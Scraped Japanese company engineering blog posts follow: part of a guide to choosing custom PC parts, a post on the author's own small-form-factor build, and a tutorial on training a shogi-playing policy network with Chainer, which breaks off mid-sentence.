エンコード、3DCAD などでも使用されます。 現在発売中の個人向けGPUの多くは、NvidiaとAMDという2社が製造した2種類に分けることができます。Nvidiaが製造するGPUがGeForce、AMDが製造するGPUがRadeonです。日本国内では、NvidiaとAMDともに直接の販売はなく、それらからパーツを供給された複数のメーカーが販売しています。 最新世代となってどちらも大きく性能が向上したため、購入する場合は GeForceの3000番台かRadeonの6000番台を選択することが価格を考慮しなければ一般的でしょう。 性能について グラフィックスカードもCPUと同じで同シリーズ内で性能差が存在しており、それぞれ以下のようになっています。 GeForce Radeon ハイエンド 3090, 3080Ti, 3080 6900XT, 6800XT, 6800 ミドルレンジ 3070Ti, 3070, 3060Ti, 3060 6700XT, 6600XT ローエンド 3050tI, 3050 (どちらもラップトップ版のみ) 6600 型番からわかるように、 数字が大きければ大きいほど高性能なグラフィックスカード となっています。また、TiやXTのつくモデルは、ついていないモデルよりも少し性能が高いモデルとなります。現状では最新世代のローエンドモデルは両社ともにデスクトップ向けにはそれほどリリースされておらず、前世代のGeForce 20xx、16xx系もしくはRadeon RX 5x00系がその隙間を埋める形となっています。 性能面に関しては、例えばゲームを例に挙げると、 GeForce Radeon 4K 3090, 3080Ti, 3080 6900XT, 6800XT WQHD 3070Ti, 3070, 3060Ti 6800, 6700XT FullHD 3060 6600XT, 6600 といったように、目指す画質によって利用するGPUを選ぶ形になるかと思います。 (対象のゲームタイトルや設定によって、表の位置は上下する場合があります) 基本的にほとんどのモニターがFullHDかと思いますので、現行の最新世代GPUであれば、よほど重量級のタイトルでさえなければ性能不足を感じることは少ないでしょう。 メーカーについて GeForceとRadeonのどちらを選ぶかに関しては、特に理由がなければGeForceをおすすめします。 これは、NvidiaのGeForceが今のところGPUのスタンダードであるために問題が起こった際にその解決方法を見つけやすいこと、CUDA といったGPUプログラミング環境をNvidia製GPUのみが使用できること、近年のNvidiaはRTX Voiceや Broadcast 等の一般ユーザーも使用しうる機能を付加し始めており、単純なGPUとしての付加価値以外を付け始めてゆく方針であることがうかがえるためです。 しかしながら、最近ではRadeonが価格と性能を伸ばしており、近年の異常な価格高騰もあってコストパフォーマンスとしては GeForceよりも非常に魅力的です。 インターネット上の情報がGeForceよりも少ない、Nvidiaが提供する付加価値の恩恵を受けられないという2点にデメリットを感じない人も少なくないと思いますので、 コストパフォーマンスの良さから Radeon を選ぶという選択もそう悪いものではないかと思います 。 私の場合、購入時期の関係で求めていた価格帯のグラフィックスカードがAMDからリリースされていなかったため、Gigabyteが提供するGeForce RTX 3060 Tiの3連冷却ファンモデルを購入しました。 ユーティリティツールが色合いの関係で見にくいという欠点がありますが、GPU本体は3連ファンなこともあってかかなり静かに動作することが魅力です。 SSD ハードディスクと同じストレージ機器です。従来のハードディスクと比べて非常に高速で動作するため、近年では特に理由がない限りはストレージにはSSDが使用されます。 主流な規格としては、2.5インチサイズのものとM.2のものが存在します。前者が文字通り2.5インチの大きさのもので、後者が人差し指全体に乗る程度の大きさのものです。高い冷却環境が求められるというデメリットがあるものの、一部例外を除いてM.2 SSDのほうが小さく高性能であるため、最近はM.2の使用が主流となっています。 M.2の中でも、接続方法によってさらに3種類に分類することができます。SATA、PCIe Gen3とPCIe Gen4です。あとに書いた規格ほど、データを読み込んだり書き込んだりする速度が速いです。 現在の主流な規格はPCIe Gen3です。2世代前の第 10 世代 IntelではPCIe Gen4に対応していなかったこと、また古いモデルのPCIe Gen4ではPCIe Gen3と比較して体感で感じられる速度差がそれほど大きくなかったこともあり、PCIe Gen4と比較して安価なPCIe Gen3規格のSSDが主でした。 現在のモデルでは、性能が良くなったために利用方法次第では十分に速度差を感じられるようになりましたが、そういった最新のモデルとPCIe Gen3のモデルの間には 2 倍以上の価格差があるため、ゲーム等の大容量データの取り扱いがなければ最新モデルを購入するメリットは大きくないといえます。 逆にいえば、ゲーム用にPCIe Gen4というのは悪くない選択だと思います。 私の場合はOSに高速なPCIe Gen4 SSDを、書いたコードや保存した動画などは2.5インチ SSDに保存しています。 電源 自作PCでもっとも奥が深い分野です。電源と聞くと電力を発生させる機器と感じる人もいるかもしれませんが、そうではありません。電源とは、交流を直流に変換する機器です。電源をどれくらいのワット数まで、どの程度の変換効率で変換できるかが電源の性能を測る指標となります。 電源において重要な指標は、変換上限のワット数である電源容量、変換効率、電源の保証期間、電源そのものの大きさの 4 つです。 また、今回は紹介しませんが、搭載しているコンデンサの規格や製造会社等で評価されることもあります。 電力効率と電源容量 電力効率が高ければその分わずかですが電気代が安く済みます。また、容量が大きければ大きいほど高い性能のパーツを搭載することができます。逆にいえば、高い性能のパーツを積むには一定以上の電源容量が必要ということになります。 電力効率の具体的な数値を記載している電源はありません。これはその時の消費電力量に応じて、変換効率にある程度ばらつきが存在するためです。その代わりに、 80 Plus と呼ばれる変換効率の指標となる規格を乗せています。80 Plusの規格は、金属の名前で以下のように分けられています。 名前 定格電圧負荷時の変換効率 Titanium 90%以上 Platinum 89%以上 Gold 87%以上 Silver 85%以上 Bronze 82%以上 Standard 80%以上 よく見かけるのはGoldとBronze電源です。BTOショップ等で電源を選ぶ場合、基本的に標準でGoldかBronzeが搭載されています。 基本的に変換効率がよりよいものを選ぶべきですが、Gold電源がボリュームゾーンであるため、特にこだわらなければGold電源に落ち着くことになるかと思います。 ちなみに、非常によく勘違いされがちですが、 80 Plus はあくまで変換効率の指標であり、壊れにくさといった品質を表す値ではありません 。 容量は、各パーツの合計消費電力量の2倍の値を選ぶべきだといわれています。これには2点理由があります。 まず、一般的な電源の変換効率がもっともよい状態が、電源容量の50%近辺を使用しているときであるためです。50%負荷時の変換効率は、先ほど述べた80Plusの規格で最低値が定められており、最低でも100%負荷より3~4%変換効率が優れていることが保証されています。変換効率がよいということは、より消費電力量が小さいということになり、電源そのものへの負荷ももっとも小さい状態となります。 第二に、過負荷時にPCの使用電力量が急激に跳ね上がることがあるためです。CPUやグラフィックスカードは、PCに対して大きな負荷をかけた際に、消費電力量を増やすことで一時的に高い性能を発揮する機能を備えています。もし容量が小さい電源を使用していた場合、必要な電力が足りず強制終了が発生することがあります。 こういったことから、電源容量は消費電力の50%程度のものを搭載することが大切です。 意外と大事な保証期間 保証期間は重要な指標ですが、保証期間が重要な理由は保証を受けるためではありません。 保証期間が重要な理由は、保証期間が長ければ壊れにくいと考えられるためです。 電源が壊れた場合、場合によってはショートを起こし電源と連結しているパーツを破壊する恐れがあります。 電源と直結しているパーツはマザーボード、ハードディスクや 2.5 インチ規格の SSD といった記憶媒体、グラフィックスカードといった、いずれも高価であったり取り返しがつかないパーツばかりです。 それらを巻き込んで壊れたりするため、電源の壊れにくさは重要です。 必ずしも保証期間が長い電源であることが壊れにくいと確定しているわけではありませんが、おおむね保証期間が長い電源は壊れにくいことが多いため、壊れにくさの指標の一つとして考えることができます。 よく見かける保証期間としては、5年、10年です。特に高品質な電源メーカーとして有名なSeasonic製品やそのOEM製品では、稀に12年の長期間保証を備えている場合もあります。 電源の大きさの規格 電源の大きさの規格はいくつかありますが、主に以下の3種類の規格をよく見かけます。 ATX 一般的な大きさの電源です。もっとも種類が多く、電源容量や電力効率に対する価格も安い規格です。 SFX-L 後述するSFXよりも少し大きな規格です。主にSFXよりも大きな冷却ファンを積んでいることが多いので、熱が気になっている人には悪く無い規格です。 SFX ファンが搭載されている面から見て、ATX より60%程の大きさの電源です。小さいためにATXよりも使用できるケーブルが少ないため、大きく拡張したい人には扱いにくい規格になるかと思います。 ケーブル接続方法の規格 電源のケーブルは、もともと電源からすべてのケーブルが直接生えている直出し方式とフルモジュラー、セミモジュラー方式の3種類が存在します。 (フルモジュラー、セミモジュラーはそれぞれ、プラグイン、セミプラグインと呼ばれることもあります) これらの違いは、ケーブルの取り外しが可能か否かです。 ケーブルの取り外しが可能な場合、電源から生えるケーブルの本数が少なくなるため、PCケース内での配線が非常に簡単になります。特に小型PCの場合、不要なケーブルが存在するだけでスペースを圧迫され、組み立てだけではなく排熱にも大きく影響があるため、フルモジュラーもしくはセミモジュラーが基本となります。 おすすめの電源 電源を壊れるほどの長期間酷使する、そんなことは怖くて試したことがないため実体験に基づいた話はできませんが、よく耳にする高品質な電源メーカーとしてはSeasonicが挙げられます。Seasonic製品かそのOEM製品しか買わない人も見かけるほど有名なメーカーです。 Seasonicほどではありませんが、次いでよく耳にするメーカーとしてSuperFlowerがあります。Seasonic製品が高価であるため、代わりにSuperFlowerを使用している人も身近にいました。 より高品質な電源を求める場合は、おおむねこの2社の製品かそのOEM製品を使用するとよいかと思います。 私が使用している電源はCoolerMaster製のV850 SFX Goldで、名前から想像できるようにSFX規格の電源です。CoolerMasterは電源メーカーではないためどこかのOEM製品なのですが、製品元は調べた限り少なくとも上記で挙げたような有名どころの高品質電源メーカーではないようです。 予定していた構成であるRyzen9 + 3060Tiの電源容量が800W前後であるため、購入当時SFX規格唯一の850 W電源だった本製品を選びましたが、現在では老舗のFSPが同規格の850W電源、DAGGER PROを販売しています。どちらも10年保証の製品、80 Plus Gold取得、日本製コンデンサを採用していますが、メーカーへの信頼性や細かい性能差を考慮すると、DAGGER PROに軍配が上がるでしょう。その分その差は価格という形で出てしまっていますが、電源にも予算をかけたい人には DAGGER PROをおすすめします。 Mini-ITXのPCケースは、このSFX規格を要求してくることが多いため、電源選定の選択肢はかなり限られることになります。場合によっては、PCケース自体が電源を搭載していることもあります。 ケースファン PCを動作させるだけであれば必要はありませんが、CPUの項目で触れたサーマルスロットリングを発生させないためには、ケース内の空気の流れも考える必要があります。 その空気の流れを作るために必要なパーツが、PCケース本体に取り付けるパーツ、ケースファンです。 PCケース内の熱は、サーマルスロットリングの有無だけではなくPCパーツの寿命にも関係してくるため、可能な限り付けられるだけつけてあげるとよいでしょう。 特に小型PCの場合はどうしても熱がこもりがちになりやすいため、うるさくならない程度にできるだけ多くのファンを取り付けてあげるとよいかと思います。 LEDがついているものでなければ、特に性能差が価格にはっきりと出てくるパーツです。 低価格帯のものは「静かだがあまり冷えない」「うるさいがそれなりに冷える」パーツ、高価格帯のものは「静かでそれなりに冷える」「うるさいがよく冷える」パーツと明確に分かれています。 一つ一つは高価格帯のものでも3000円未満がほとんどですが、基本的に複数設置することがほとんどであるため、意外とお金がかかります。 おすすめのケースファン 低価格帯でおすすめなファンは、サイズ (SCYTHE) 製の WONDER SNAILというファン。千円前後の価格で静音性と冷却性のバランスが良く、同価格帯のものと比較して非常にコストパフォーマンスに優れています。 もう少し予算がある場合は、Noctua製のREDUXシリーズ。Noctuaの旧世代モデルを廉価版として揃えたシリーズで、静音性に対する冷却性能が非常によい旧世代とは思えない製品揃いです。現行世代の色合いが個性的なこともあってか、予算があってもこちらを検討する人もいるかと思います。 高価格帯としては、NoctuaのNF-A12X25、thermaltakeのTOUGHFAN 12、 ADATAのXPG VENTO PRO 120が高性能ファンとして有名です。私が組み込んだことがあるのはNF-A12X25とTOUGHFAN 12の二つのみですが、どれも人気の冷却性能と静音性に優れたファンとなっています。 これらの比較記事は検索するとよく見かけるので、悩んでいる場合はぜひ探してみてください。 おわりに 昨今の半導体不足、マイニング需要、転売などもあり、PCパーツ価格が上昇、自作PCの費用は増加の一途を辿っています。記事執筆段階において、必要十分程度の性能でもパーツに妥協せずPCを組むと20万円をゆうに超えてくるほどです。そのためか、BTOメーカーが価格を抑えることに関してかなり力を入れてきており、場合によってはBTOにもかかわらず自作PCよりも安く済むこともなくはありません。 はっきりいえば、自作PCをするメリットは昔ほど高くはないでしょう。 ですが、自作PCには他では見られない自分だけの構成を作れるという、BTOやメーカー製のPCにはない魅力があります。 性能を追求したい、ふと見つけてしまった綺麗なPCケースを使いたい、眩しい位に色鮮やかに光らせたい、他の環境音に紛れるほどに静かにしたい、小型なのに高性能な矛盾した構成を目指したい、自作PCはそんなロマンを満たすためのものです。 自分だけのロマンを実現する、それが自作PCの魅力だと思っています。 本記事に載せた製品以外にも、素晴らしいものはたくさんあります。ぜひ自作PCに興味がある人は探してみてください!
アバター
概要 こんにちは、ITエンジニアリング部(現デジタルテクノロジー戦略本部)のM.Fです。 新型コロナウィルスの影響により、在宅ワークを導入する企業が増えました。また動画編集や楽曲制作を趣味にする人も多くなり、自宅のPC環境を整えたいという方もいると思います。今回は、自作PCに興味を持っている方向けに、私の自作PCの構成のご紹介と、目的別・自作PCの組み方をお伝えできればと思います。ぜひ、参考にしてください! ※本PCを作成したのは2020年末のため、現在では入手が難しい、あるいは当時とは在庫状況が大きく異なるパーツがございます。参考にされる場合はご留意ください。 自作PCを組んだきっかけ テレワークが多くなり、自宅という静かな空間で過ごすことが長くなったためか、仕事で使用しているノートPCのファンの音が気になるようになったことがきっかけでした。職場では、人の声やキーボードのタイピング音といった環境音がある程度あったためあまり気になりませんでしたが、自宅では自分の音と自宅の周囲の音しかしないため、次第にノートPCのファンの音が気になるようになっていきました。 そして、一度気になると次第に他のものも目につくようになってしまうもの。しばらくすれば、仕事用PCだけではなく私物PCの音も気になるようになり、別に心の片隅にあった大きなPCが邪魔だなという気持ちも合わさり、せっかくなので新しいPCを組むことにしました。 私の自作PC構成 我が家の自作PCの構成は次の通りです。 メーカー 名称 PC ケース LianLi TU-150WA CPU AMD Ryzen5 5600X CPU クーラー Noctua NH-D15 chromax.black マザーボード ASUS ROG STRIX B550-I メモリ SanMax SKhynix 製 DDR4-3200 16GB*2 枚 グラフィックスカード Gigabyte GeForce RTX 3060 Ti GAMING OC PRO 8G (rev. 1.0) システム用 SSD CFD CSSD-M2B1TPG3VNF データストレージ用 SSD WesternDigital WD Blue 3D NAND SATA WDS100T2B0A 電源 Cooler Master V850 SFX Gold ケースファン 1 Thermaltake TOUGHFAN 12 2Pack ケースファン 2 SCYTHE KAZE-FLEX 120mm SLIM PWM PCを自作するにあたって大切なのはコンセプトです。小さなPCが欲しい、眩しい位に光らせたい、4Kモニターでゲームをしたい、動画編集をしたいなどいろいろあると思いますが、そのコンセプトによって値段や選択できるパーツは大きく変わってきます。当時の私は、「小さくて、あまり光らない、WQHD画質でのゲームも想定した、比較的音が静かなPC」をコンセプトにPCを組みました。 自作PCパーツのお勧め選定方法 自作PCのパーツを選ぶ際、初めての時は何からどういった基準で選べばいいのかわからないと思います。今回は、そういった方向けにどういった順序でパーツを選べばよいか迷った際の考え方について、私なりの考え方をご紹介していきたいと思います。 PCの用途から決める PCの用途から決める場合、重要になってくるのはCPU、グラフィックスカード、メモリといった性能に直接関係してくるパーツです。 ゲームをしたい まず用途がゲームの場合は、グラフィックスカードから決めていきましょう。 グラフィックスカードは手持ち、もしくは新規に購入する予定のモニター解像度、もしくは遊びたいゲームによって選ぶべきものが変わってきます。そのため、対象のモニターの解像度と合致するものを選択しましょう。もし、遊びたいゲームが重い処理を必要とする場合はそれより1つか2つランクが上のグラフィックスカードを選びます。合致する解像度については後編で詳しく解説していきます。 グラフィックスカードが決まれば、CPUとメモリの性能も決まります。予算と相談しながら、グラフィックスカードの性能を引っ張らない程度の性能を持ったCPUとメモリを選びましょう。 動画編集をしたい / プログラミングをしたい 動画編集目的の場合は、CPUから決めていきましょう。 高度なAdobe系ソフトを使用して動画編集を行う場合はある程度の性能を持ったグラフィックスカードは必要ですが、趣味程度の動画編集では外付けグラフィックスカードなしでも十分に動画編集をこなせるためです。ましてやプログラミングが目的の場合、機械学習やGPUプログラミングを意識しない限りはGPUが必要となることはほぼありません。基本的にCPUに負荷がかかることになるので、高性能なCPUを搭載してあげるといいかと思います。 CPUが決まれば、次はメモリを決めましょう。 CPUに高い負荷がかかる処理をする場合、必然的に大き目の容量のメモリも必要となります。メモリ2枚合わせて合計で32GBがあれば十分ですが、すべてのパーツを選択した後に予算的に余裕があれば64GBに増やしてもいいかもしれません。 そして最後にグラフィックスカード、これに関してはエントリーモデルのものでも問題ありません。もちろん高性能に越したことはないのですが、昨今の値上がり傾向を考えるとランクを1つ上げるだけで4万円などといった事態になりかねません。 今のところはCPUに予算をつぎ込み、将来的に値下がりが見え始めてから高いものに買い替える、といったことを考慮してもよいかと思います。 3つを決め終えたら CPUが決まれば、マザーボードのチップセットが定まります。WifiやBluetoothの有無、有線LANの速度性能、PCケースのUSBポート、オンボードDACの品質、フェーズ数などといったマザーボードの機能に関係する項目に特に価値を見出せない場合は、そのまま最安値のものを購入すればよいためすぐ決まるかと思います。 また、CPUが決まっていれば、それを冷却するCPUクーラーも決めることができます。特に静音性にこだわりがなければ付属のクーラーを、こだわりがある場合はCPUのTDP(消費電力や発熱量を表す値)に合わせてお好きなクーラーを選びましょう。 マザーボードとグラフィックスカード、CPUクーラーが決まれば、それらが入るPCケースを選ぶ必要があるのである程度のケースのサイズ感が決まります。ケースのサイズ感が決まれば比較検討もできる程度には絞り込めるかと思いますので、見た目やエアフロー、静音性、2.5インチSSDやHDD搭載数などを考えながらその中から選んで行けるかと思います。 CPUとケース、グラフィックスカード、この3つが決まったら電源を選ぶことができるようになります。基本的には選択したグラフィックスカードの公式サイトに推奨電力容量が記載されているため、その値に従って電源容量を定めましょう。もし高性能なCPUを搭載している場合は、容量を100~200Wは増やしてみてもよいかもしれません。 最後にPCケースの搭載箇所と予算が許す限り、エアフローを考えながらPCケースファンを搭載しましょう。 お気に入りのパーツで組みたい PCケースやCPUといった、1つのパーツを基準として組みたいといった場合は、そのパーツによってどのパーツを選ぶことができるかを考えて組むことになるかと思います。 一度でも組んだことがあれば難しく考えることなく組めるかと思うのですが、初めて組む場合はどのパーツから選べばよいのか悩むでしょう。どの順番でパーツを選べばよいのか、参考までにかんたんなフローチャートを作ってみたので参考にしてみてください。 (この順番通りにパーツを決めなければならないといった話ではありません。あくまで、決まらない場合の参考程度とお考え下さい) 実際のところは、パーツの在庫や価格の関係で見積もりが終わった後に再度構成を見直すことになることが多いので、余力があればある程度パーツごとに第2第3候補までは考えておいた方が良いかと思います。特にマザーボードについては、第1候補として選んでいたパーツが値上がし第2候補が値下がりする、高速なSSDの価格が安く手に入ったのでチップセットを上位のものにする、などといったことが原因でパーツ変更を検討する機会が稀に起こるので、第2候補くらいまでは検討していてもよいでしょう。 次回は、各PCのパーツについてご紹介! 自作PCでは、PCケース・CPU・メモリ・マザーボード……など多くのパーツで構成されます。次回は各パーツごとにオススメの選び方をご紹介できればと思います。 ###card_post_id=1152###
アバター
はじめに こんにちは、ITソリューション部(デジタルテクノロジー戦略本部)のS.Dです。 今回は将棋AIを自分で作ってみたのでエンジニアブログで紹介します!目標は、 棋譜データを学習させて、実際に対局できる(ルールに違反しない)ようにさせること とします。 環境は以下で構築しました。 環境 バージョン OS Windows Pro 64bit CPU Ryzen 3900X GPU Geforce RTX2060Super Python 3.8.5 CUDA 10.1 cuDNN 7.6.5 Chainer 7.7.0 python-shogi 1.0.10 この記事ではPytorch ではなく Chainerを使用します。Pytochでも、構築可能です。また、別の機会があればPytorchで実装したものもご紹介できればと思います。 §0. 環境構築 この章では、環境構築をします。 0.1 Visual Studio ビルドツール 2015のインストール 現状の最新のVisual Studioは、2019ですが、2019では正常に動作しない報告が多いので2015をインストールします。 Microsoft Build Tools 2015 Update 3 から、インストーラをダウンロードできます。 0.2 CUDAのインストール NVIDIA からインストーラをダウンロードできます。 2020.11.24時点で、最新バージョンは11.1です。 しかし、使用するソフトウェアに対応したバージョンをインストールします。 現状TensorFlowやChainerなどが対応したバージョンは、10.0, 10.1, (10.2)です。 私は、10.1をインストールしました。 0.3 cuDNNのインストール NVIDIA から、zipファイルをダウンロードできます。 2020.11.24時点で、最新バージョンは8.0.5です。 しかし、使用するソフトウェアに対応したバージョンをダウンロードします。 現状TensorFlowやChainerなどが対応したバージョンは、7.6以前(8.0以降もたぶん大丈夫)です。 私は、7.6.5で動かしています。 ファイルを解凍したら、NVIDIA GPU Computing Toolkitにファイルをコピーします 私の場合は、 C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\v10.1 にファイルをコピーしました。 画像にある、ファイルとフォルダをコピーして、上のフォルダに移します。 0.4 Chainerのインストール Chainer をインストールします。 Chainerは、機械学習のPythonフレームワークです。日本企業の株式会社Preferred Networksが、研究、開発をしました。現在は、FaceBookのPythonフレームワークである、Pytorchに吸収されました。 0.4.0 Pythonのインストール Python のインストール 今回は、Pythonは省略します。 Pythonは、3.6以降、3.8までであれば正常に動作します。 Anacondaでも大丈夫です。 0.4.1 その他モジュール pip install -U pip setuptools pip install -U jupyterlab jupyter jupyter-console jupytext spyder matplotlib numpy 0.4.2 Cupyのインストール Chainerで、GPUを使用するためには、Cupyをインストールする必要があります。 pip install cupy-cuda101 確認: エラーが出なければ大丈夫です。 エラーが出た場合、CuPyのインストールがうまくできていないです。東京大学 金子研究室 に詳しく書いてあるので、エラーが出て進めない場合は参考にしてください。 0.4.3 Chainerのインストール pip install chainer==7.7 0.4.4 Chainerの動作確認 ChainerのGithub から、サンプルを落としてきます。 cd chainer-7.7.0 python examples\mniost\train_mnist.py -g 0 オプションは、gpuの番号です。-1で、gpuを使わずに計算できます。 0.5 学習データ 東京大学内のサーバー、将棋コンピュータ対局場(Flood gate)のデータを使います。 後のニューラルネットワークを学習させるための棋譜を用意します。 今回は、『Flood gate』から最新の2020年の全棋譜データをcsa形式で落とします。 http://wdoor.c.u-tokyo.ac.jp/shogi/x/wdoor2017.7z 上は、2017年の棋譜データですが、(webサイト更新されていない),2017→2020にすれば落とせます。(書いていいのか…?) http://wdoor.c.u-tokyo.ac.jp/shogi/x/wdoor2020.7z 7zipで解凍してください。 全棋譜: 13万件くらい(現状なので、今も増えています) そのあと、学習データとして適切でないデータもたくさんあるので、手数が50手以上で、レーティングが3000以上のものに限定して、学習データとします。ここら辺は、どんな方法でもいいです。 §1. ニューラルネットワーク ここからは、思考部分を実装します。 具体的に、局面から指し手を予測するようにします。 コード構成 \<policynetwork>(root dir) | setup.py | train_policy.py | kifulist_train.txt | kifulist_test.txt | kifulist_train_1000.txt | kifulist_test_100.txt |- <model> | | model_policy | |- <pydlshogi> | | common.py | | features.py | | read_kifu_.py | | | |- <network> | | policy.py | |- <utils> | | fileter_csa.py | | make_kifu_list.py | | plot_log.py 1.1 モジュールインストール import setuptoolssetuptools.setup( name = 'python-dlshogi', version = '0.0.1', author = 'SudaDaisuke', # 名前 packages = ['pydlshogi'], scripts = [],) スクリプトを別のスクリプトから、importできるように登録します。 プロジェクトのルートディレクトリで下のコマンドを打ちます。 pip install --no-cache-dir -e . 1.2 Policy Network 将棋の指し手を予測するための、ニューラルネットワークを構成します。 Alpha Go では、打ち手を探索する「Policy Network」と局面を評価する「Value Network」という2つの深層ニューラルネットワークで構成されています。 将棋の指し手を予測するために、 Alpha Go で採用された方法を改良して、13層の畳み込みニューラルネットワークを構成します。 ニューラルネットワークの仕様 項目 値 フィルターサイズ 3x3 中間層のフィルターサイズ 192 ストライド 1 パディング層 1 ブーリング層 1 活性化関数 ReLU 1.3 Policy Network 実装 上の設計をもとに実装していきます。 pydlshogi\network\policy.pyfrom chainer import Chainimport chainer.functions as Fimport chainer.links as Lfrom pydlshogi.common import *ch = 192class PolicyNetwork(Chain): def __init__(self): super(PolicyNetwork, self).__init__() with self.init_scope(): self.l1=L.Convolution2D(in_channels = 104, out_channels = ch, ksize = 3, pad = 1) self.l2=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l3=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l4=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l5=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l6=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l7=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l8=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l9=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l10=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l11=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l12=L.Convolution2D(in_channels = ch, out_channels = ch, ksize = 3, pad = 1) self.l13=L.Convolution2D(in_channels = ch, out_channels = MOVE_DIRECTION_LABEL_NUM, ksize = 1, nobias = True) self.l13_bias=L.Bias(shape=(9*9*MOVE_DIRECTION_LABEL_NUM)) def __call__(self, x): h1 = F.relu(self.l1(x)) h2 = F.relu(self.l2(h1)) h3 = F.relu(self.l3(h2)) h4 = F.relu(self.l4(h3)) h5 = F.relu(self.l5(h4)) h6 = F.relu(self.l6(h5)) h7 = F.relu(self.l7(h6)) h8 = F.relu(self.l8(h7)) h9 = F.relu(self.l9(h8)) h10 = F.relu(self.l10(h9)) h11 = F.relu(self.l11(h10)) h12 = F.relu(self.l12(h11)) h13 = self.l13(h12) return self.l13_bias(F.reshape(h13, (-1, 9*9*MOVE_DIRECTION_LABEL_NUM))) 1.2 学習処理 1.2.1 実装 train_policy.pyimport numpy as npimport chainerfrom chainer import cuda, Variablefrom chainer import optimizers, serializersimport chainer.functions as Ffrom pydlshogi.common import *from pydlshogi.network.policy import PolicyNetworkfrom pydlshogi.features import *from pydlshogi.read_kifu import *import argparseimport randomimport pickleimport osimport reimport loggingparser = argparse.ArgumentParser()parser.add_argument('kifulist_train', type=str, help='train kifu list')parser.add_argument('kifulist_test', type=str, help='test kifu list')parser.add_argument('--batchsize', '-b', type=int, default=32, help='Number of positions in each mini-batch')parser.add_argument('--test_batchsize', type=int, default=512, help='Number of positions in each test mini-batch')parser.add_argument('--epoch', '-e', type=int, default=1, help='Number of epoch times')parser.add_argument('--model', type=str, default='model/model_policy', help='model file name')parser.add_argument('--state', type=str, default='model/state_policy', help='state file name')parser.add_argument('--initmodel', '-m', default='', help='Initialize the model from given file')parser.add_argument('--resume', '-r', default='', help='Resume the optimization from snapshot')parser.add_argument('--log', default=None, help='log file path')parser.add_argument('--lr', type=float, default=0.01, help='learning rate')parser.add_argument('--eval_interval', '-i', type=int, default=1000, help='eval interval')args = parser.parse_args()logging.basicConfig(format='%(asctime)s\t%(levelname)s\t%(message)s', datefmt='%Y/%m/%d %H:%M:%S', filename=args.log, level=logging.DEBUG)model = PolicyNetwork()model.to_gpu()optimizer = optimizers.SGD(lr=args.lr)optimizer.setup(model)# Init/Resumeif args.initmodel: logging.info('Load model from {}'.format(args.initmodel)) serializers.load_npz(args.initmodel, model)if args.resume: logging.info('Load optimizer state from {}'.format(args.resume)) serializers.load_npz(args.resume, optimizer)logging.info('read kifu start')# 保存済みのpickleファイルがある場合、pickleファイルを読み込む# train datetrain_pickle_filename = re.sub(r'\..*?$', '', args.kifulist_train) + '.pickle'if os.path.exists(train_pickle_filename): with open(train_pickle_filename, 'rb') as f: positions_train = pickle.load(f) logging.info('load train pickle')else: positions_train = read_kifu(args.kifulist_train)# test datatest_pickle_filename = re.sub(r'\..*?$', '', args.kifulist_test) + '.pickle'if os.path.exists(test_pickle_filename): with open(test_pickle_filename, 'rb') as f: positions_test = pickle.load(f) logging.info('load test pickle')else: positions_test = read_kifu(args.kifulist_test)# 保存済みのpickleがない場合、pickleファイルを保存するif not os.path.exists(train_pickle_filename): with open(train_pickle_filename, 'wb') as f: pickle.dump(positions_train, f, pickle.HIGHEST_PROTOCOL) logging.info('save train pickle')if not os.path.exists(test_pickle_filename): with open(test_pickle_filename, 'wb') as f: pickle.dump(positions_test, f, pickle.HIGHEST_PROTOCOL) logging.info('save test pickle')logging.info('read kifu end')logging.info('train position num = {}'.format(len(positions_train)))logging.info('test position num = {}'.format(len(positions_test)))# mini batchdef mini_batch(positions, i, batchsize): mini_batch_data = [] mini_batch_move = [] for b in range(batchsize): features, move, win = make_features(positions[i + b]) mini_batch_data.append(features) mini_batch_move.append(move) return (Variable(cuda.to_gpu(np.array(mini_batch_data, dtype=np.float32))), Variable(cuda.to_gpu(np.array(mini_batch_move, dtype=np.int32))))def mini_batch_for_test(positions, batchsize): mini_batch_data = [] mini_batch_move = [] for b in range(batchsize): features, move, win = make_features(random.choice(positions)) mini_batch_data.append(features) mini_batch_move.append(move) return (Variable(cuda.to_gpu(np.array(mini_batch_data, dtype=np.float32))), Variable(cuda.to_gpu(np.array(mini_batch_move, dtype=np.int32))))# trainlogging.info('start training')itr = 0sum_loss = 0for e in range(args.epoch): positions_train_shuffled = random.sample(positions_train, len(positions_train)) itr_epoch = 0 sum_loss_epoch = 0 for i in range(0, len(positions_train_shuffled) - args.batchsize, args.batchsize): x, t = mini_batch(positions_train_shuffled, i, args.batchsize) y = model(x) model.cleargrads() loss = F.softmax_cross_entropy(y, t) loss.backward() optimizer.update() itr += 1 sum_loss += loss.data itr_epoch += 1 sum_loss_epoch += loss.data # print train loss and test accuracy if optimizer.t % args.eval_interval == 0: x, t = mini_batch_for_test(positions_test, args.test_batchsize) y = model(x) logging.info('epoch = {}, iteration = {}, loss = {}, accuracy = {}'.format(optimizer.epoch + 1, optimizer.t, sum_loss / itr, F.accuracy(y, t).data)) itr = 0 sum_loss = 0 # validate test data logging.info('validate test data') itr_test = 0 sum_test_accuracy = 0 for i in range(0, len(positions_test) - args.batchsize, args.batchsize): x, t = mini_batch(positions_test, i, args.batchsize) y = model(x) itr_test += 1 sum_test_accuracy += F.accuracy(y, t).data logging.info('epoch = {}, iteration = {}, train loss avr = {}, test accuracy = {}'.format(optimizer.epoch + 1, optimizer.t, sum_loss_epoch / itr_epoch, sum_test_accuracy / itr_test)) optimizer.new_epoch()logging.info('save the model')serializers.save_npz(args.model, model)logging.info('save the optimizer')serializers.save_npz(args.state, optimizer) 上のコードは、学習部分を実装しています。 具体的に、 こんな感じに実装されています。 1.2.2 学習実行 実際に学習を実行すると、こんな感じで、損失計算と、学習データから得られた結果との精度です。 §2. 将棋AI実装 ニューラルネットワークで、学習を終えたモデルを使って対局できるように、USIエンジンにします。 USI(Universal Shogi 